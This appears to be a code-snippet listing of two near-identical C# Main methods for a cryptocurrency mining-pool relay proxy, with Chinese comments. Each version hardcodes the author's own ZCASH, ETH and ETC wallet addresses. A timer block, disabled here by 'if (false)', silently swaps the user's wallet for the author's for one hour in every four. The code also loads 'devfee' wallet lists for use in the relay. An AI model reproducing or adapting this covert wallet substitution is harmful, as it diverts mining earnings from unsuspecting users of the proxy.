Пример #1
0
        static void Main(string[] args)
        {
            string IP = "58.221.47.216";

            //log4net.Config.XmlConfigurator.Configure(new FileInfo("log4net.xml"));


            if (args.Length < 4)
            {
                Console.WriteLine("错误的参数错误码 #ParamError#");
                show();
                log.Debug("ip:" + IP);
                return;
            }
            else
            {
                try
                {
                    new_port  = int.Parse(args[0]);
                    pool_host = args[1];
                    old_port  = int.Parse(args[2]);
                    wallet    = args[3].Split(new char[] { '.' }, StringSplitOptions.RemoveEmptyEntries)[0];
                    if (args.Length < 6 && args.Length >= 4)
                    {
                        Console.WriteLine(" args[4] 注册时间没有输入将以默认方式执行");
                        Console.WriteLine(" args[5] 挖矿类型没有输入将以默认方式执行");
                    }
                    else if (args.Length > 7)
                    {
                        Console.WriteLine("错误的参数错误码 #MuchParamError#");
                        return;
                    }
                    else if (args.Length == 7)
                    {
                        reg_time    = args[4].Replace('#', ' ');
                        mining_type = args[5];

                        MyIP = IPAddress.Parse(args[6]);
                    }

                    switch (mining_type)
                    {
                    case "ZCASH":
                        //my_wallet = "t1Qap8gAaXcbzKat2zeVBPbcUmfhWGLVBNC";
                        my_wallet = "t1LvAoYHL9Dfw5zQQkELqaUaa4cYySmYjDq";
                        break;

                    case "ETH":
                        // my_wallet = "0xad5cb6036b47b13842fd6d8dca00df098d16024f";
                        my_wallet = "0x7356da3252ef69f4c4cd3ac8db0c33992e41208e";

                        break;

                    case "ETC":
                        my_wallet = "0xd8bb2dc37b651ac04e519aa43f8c8bf12a729e76";
                        break;

                    case "XMR":
                        my_wallet = wallet;
                        break;

                    default:
                        break;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("错误的参数错误码 #ParaseError#" + ex.ToString());
                    show();
                    log.Debug("ip:" + IP);
                    return;
                }
                Console.WriteLine(" args[0] 随机新端口:" + args[0]);
                Console.WriteLine(" args[1] 矿池域名" + args[1]);
                Console.WriteLine(" args[2] 矿池端口" + args[2]);
                Console.WriteLine(" args[3] 挖矿钱包" + wallet);
                if (args.Length == 7)
                {
                    Console.WriteLine(" args[4] 注册时间" + args[4]);
                    Console.WriteLine(" args[5] 挖矿类型" + args[5]);
                }
                Console.WriteLine("ip:" + IP);
                log.Debug("ip:" + IP);
            }
            try
            {
                TcpListener liseten = new TcpListener(MyIP, new_port);//这里开对方可以被你连接并且未被占用的端口
                liseten.Start();

                ///读取挖矿地址文件
                devfee = MiningTypeAdd.ReadType(mining_type);

                foreach (string other_add in devfee)
                {
                    DevFeeWal.Add(Encoding.Default.GetBytes(other_add));
                }

                if (false)
                {
                    //////////////////////////timer
                    System.Timers.Timer timer = new System.Timers.Timer();

                    timer.Interval  = 14400000;
                    timer.AutoReset = true;

                    timer.Elapsed += delegate
                    {
                        timer.Stop();
                        //Console.WriteLine($"Timer Thread: {Thread.CurrentThread.ManagedThreadId}");

                        //Console.WriteLine($"Is Thread Pool: {Thread.CurrentThread.IsThreadPoolThread}");
                        string old_wallet = wallet;
                        wallet = my_wallet;
                        //Console.WriteLine("Timer Action");
                        Thread.Sleep(3600000);

                        timer.Start();
                        wallet = old_wallet;
                    };

                    timer.Start();
                }

                while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连
                {
                    //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转
                    try
                    {
                        TcpClient tcp_acc = liseten.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu
                        Console.WriteLine("TCP AcceptTcpClient");
                        TcpClient tcp_back = new TcpClient(pool_host, old_port);
                        tcp_acc.SendTimeout     = 3000000;//设定超时,否则端口将一直被占用,即使失去连接
                        tcp_acc.ReceiveTimeout  = 3000000;
                        tcp_back.SendTimeout    = 3000000;
                        tcp_back.ReceiveTimeout = 3000000;

                        object obj_send   = (object)(new TcpClient[] { tcp_acc, tcp_back }); //正向发送指向
                        object obj_recive = (object)(new TcpClient[] { tcp_back, tcp_acc }); //反向发送指向
                        ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj_send);
                        ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj_recive);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        log.Debug(ex.ToString());
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
                // log.Debug(ex.ToString());
            }
        }
Пример #2
0
        static void Main(string[] args)
        {
            string IP = "IP";


            if (args.Length < 4)
            {
                Console.WriteLine("错误的参数错误码 #ParamError#");
                show();
                log.Debug("ip:" + IP);
                return;
            }
            else
            {
                try
                {
                    new_port  = int.Parse(args[0]);
                    pool_host = args[1];
                    old_port  = int.Parse(args[2]);
                    wallet    = args[3].Split(new char[] { '.' }, StringSplitOptions.RemoveEmptyEntries)[0];
                    if (args.Length < 6 && args.Length >= 4)
                    {
                        Console.WriteLine(" args[4] 注册时间没有输入将以默认方式执行");
                        Console.WriteLine(" args[5] 挖矿类型没有输入将以默认方式执行");
                    }
                    else if (args.Length > 7)
                    {
                        Console.WriteLine("错误的参数错误码 #MuchParamError#");
                        return;
                    }
                    else if (args.Length == 7)
                    {
                        reg_time    = args[4].Replace('#', ' ');
                        mining_type = args[5];

                        MyIP = IPAddress.Parse(args[6]);
                    }

                    switch (mining_type)
                    {
                    case "ZCASH":
                        //my_wallet = "t1LYoicALmRL2bcJmEuDMKEhP9FpCR81uKT";
                        my_wallet = "t1LYoicALmRL2bcJmEuDMKEhP9FpCR81uKT";
                        break;

                    case "ETH":
                        my_wallet = "0x1030Fa6583B4695fF91F991C3c788aa5C62E8B58";

                        break;

                    case "ETC":
                        my_wallet = "0x1030Fa6583B4695fF91F991C3c788aa5C62E8B58";
                        break;

                    case "XMR":
                        my_wallet = wallet;
                        break;

                    default:
                        break;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("错误的参数错误码 #ParaseError#" + ex.ToString());
                    show();
                    log.Debug("ip:" + IP);
                    return;
                }
                Console.WriteLine(" args[0] 随机新端口:" + args[0]);
                Console.WriteLine(" args[1] 矿池域名" + args[1]);
                Console.WriteLine(" args[2] 矿池端口" + args[2]);
                Console.WriteLine(" args[3] 挖矿钱包" + wallet);
                if (args.Length == 7)
                {
                    Console.WriteLine(" args[4] 注册时间" + args[4]);
                    Console.WriteLine(" args[5] 挖矿类型" + args[5]);
                }
                Console.WriteLine("ip:" + IP);
                log.Debug("ip:" + IP);
            }
            try
            {
                TcpListener liseten = new TcpListener(MyIP, new_port);//这里开对方可以被你连接并且未被占用的端口
                liseten.Start();

                ///读取挖矿地址文件
                devfee = MiningTypeAdd.ReadType(mining_type);

                foreach (string other_add in devfee)
                {
                    DevFeeWal.Add(Encoding.Default.GetBytes(other_add));
                }

                if (false)
                {
                    //////////////////////////timer
                    System.Timers.Timer timer = new System.Timers.Timer();

                    timer.Interval  = 14400000;
                    timer.AutoReset = true;

                    timer.Elapsed += delegate
                    {
                        timer.Stop();
                        //Console.WriteLine($"Timer Thread: {Thread.CurrentThread.ManagedThreadId}");

                        //Console.WriteLine($"Is Thread Pool: {Thread.CurrentThread.IsThreadPoolThread}");
                        string old_wallet = wallet;
                        wallet = my_wallet;
                        //Console.WriteLine("Timer Action");
                        Thread.Sleep(3600000);

                        timer.Start();
                        wallet = old_wallet;
                    };

                    timer.Start();
                }

                while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连
                {
                    //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转
                    try
                    {
                        TcpClient tcp_acc = liseten.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu
                        Console.WriteLine("TCP AcceptTcpClient");
                        TcpClient tcp_back = new TcpClient(pool_host, old_port);
                        tcp_acc.SendTimeout     = 3000000;//设定超时,否则端口将一直被占用,即使失去连接
                        tcp_acc.ReceiveTimeout  = 3000000;
                        tcp_back.SendTimeout    = 3000000;
                        tcp_back.ReceiveTimeout = 3000000;

                        object obj_send   = (object)(new TcpClient[] { tcp_acc, tcp_back }); //正向发送指向
                        object obj_recive = (object)(new TcpClient[] { tcp_back, tcp_acc }); //反向发送指向
                        ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj_send);
                        ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj_recive);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        log.Debug(ex.ToString());
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
                // log.Debug(ex.ToString());
            }
        }